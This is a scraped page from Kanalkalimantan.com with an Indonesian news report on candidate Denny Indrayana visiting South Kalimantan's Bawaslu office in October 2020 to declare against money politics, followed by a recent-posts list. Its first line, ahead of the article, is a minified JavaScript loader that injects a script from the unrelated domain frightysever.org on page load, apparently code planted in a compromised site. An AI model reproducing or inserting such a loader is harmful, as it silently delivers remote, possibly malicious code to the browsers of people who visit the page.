(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Cagub Denny Datangi Bawaslu Kalsel, ‘Gerah’ Potensi Money Politics di Pilgub Kalsel!


KANALKALIMANTAN.COM, BANJARMASIN – Calon Gubernur Kalsel nomor urut 2, Denny Indrayana menyambangi Kantor Badan Pengawas Pemilihan Umum (Bawaslu) Kalimantan Selatan, Jumat (2/10/2020) siang. Datang menggunakan baju koko putih dan peci hitam, Denny menyampaikan maksud kedatangannya ke Bawaslu. Ada apa?

“Saya hadir di Bawaslu, untuk menegaskan maklumat anti politik uang. Karena praktik politik uang sudah nyata-nyata melumpuhkan demokrasi kita, bahkan membunuh demokrasi kita. Karena itu kita harus berperang melawan praktik politik uang,” kata Denny kepada awak media di Halaman Kantor Bawaslu Provinsi Kalsel.

Denny mengatakan, dirinya dan pasangannya yaitu H Difriadi, berkomitmen untuk memerangi praktik politik uang. Apalagi, setelah keduanya resmi ditetapkan sebagai pasangan calon Gubernur dan Wakil Gubernur, pihaknya berikhtiar untuk menegaskan maklumat anti politik uang itu ke seluruh masyarakat.

“Tidak hanya kepada masyarakat Kalsel, tapi juga ke seluruh masyaraka Indonesia,” tambah Denny.

Denny menjelaskan, ada tiga modus politik uang yang sering terjadi. Pertama, modus politik uang dengan memanfaatkan aparatur negara dari level atas sampai terendah.

Ia mencontohkan, dengan memanfaatkan pengurus RT dan RW untuk mendukung salah satu pasangan calon dengan imbalan materi tertentu, yang disebutnya sudah sering dilakukan dan harus dihentikan. “Kedua, menyalahgunakan anggaran program dan anggaran pemerintah. Ketiga, modus pembelian suara, dengan langsung memberikan uang ataupun barang,” papar Denny.

Lanjut Denny, dirinya hadir di Bawaslu ini untuk berkonsultasi dengan pihak Bawaslu, mengenai cara untuk mengantisipasi modus-modus politik uang tersebut tidak terjadi lagi khususnya di Pilkada Kalimantan Selatan.

Selain berkonsultasi dengan pihak Bawaslu, kehadiran Denny di Kantor Bawaslu ini ditengarai berhubungan juga dengan laporan dugaan pelanggaran pemilu yang diduga dilakukan oleh salah satu pasangan calon.

Laporan pelanggaran tersebut telah diterima oleh pihak Bawaslu pada Kamis (1/10/2020). Sejak pagi tadi, lanjutan dari pelaporan tersebut adalah pemeriksaan terhadap dua orang saksi yang didatangkan oleh pelapor.

Berdasarkan pantauan di Kantor Bawaslu, Jum’at (2/10/2020), sekitar pukul 09.00 Wita, dua orang saksi yang dibawa oleh pelapor tersebut sudah memasuki kantor Bawaslu Provinsi Kalsel untuk diperiksa lebih lanjut. (Kanalkalimantan.com/fikri)

Reporter : Fikri
Editor : Cell

 


Al Ghifari

Recent Posts

Dear Pencari Kerja: Ratusan Lowongan Kerja Tersedia di Banjarbaru Job Fair 2024

KANALKALIMANTAN.COM, BANJARBARU - Para pencari kerja di Ibu Kota Provinsi Kalimantan Selatan diminta untuk mempersiapkan… Read More

2 jam ago

Kadis Pariwisata Tala dan Bendahara Disidang Kasus Korupsi Retribusi Asuransi Wisata

KANALKALIMANTAN.COM, BANJARMASIN - Kasus tindak pidana korupsi kembali mengemuka di Provinsi Kalimantan Selatan (Kalsel). Kali… Read More

3 jam ago

Merancang Kota Metropolitan di Kalsel dari RPJPD Kota Banjarbaru 2025-2045

KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More

7 jam ago

Lomba Balogo Meriahkan Hari Jadi ke-72 Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More

8 jam ago

Bupati Banjar Buka Sosialisasi dan Rakor Penyelenggaraan Administrasi Pemerintahan Desa

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More

8 jam ago

Dinas PUPR Berikan Pedoman Standar Penggunaan Air Minum dan Sanitasi bagi Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Setiap tahunnya, pemerintah daerah dan pusat berupaya untuk meningkatkan akses terhadap air… Read More

8 jam ago

This website uses cookies.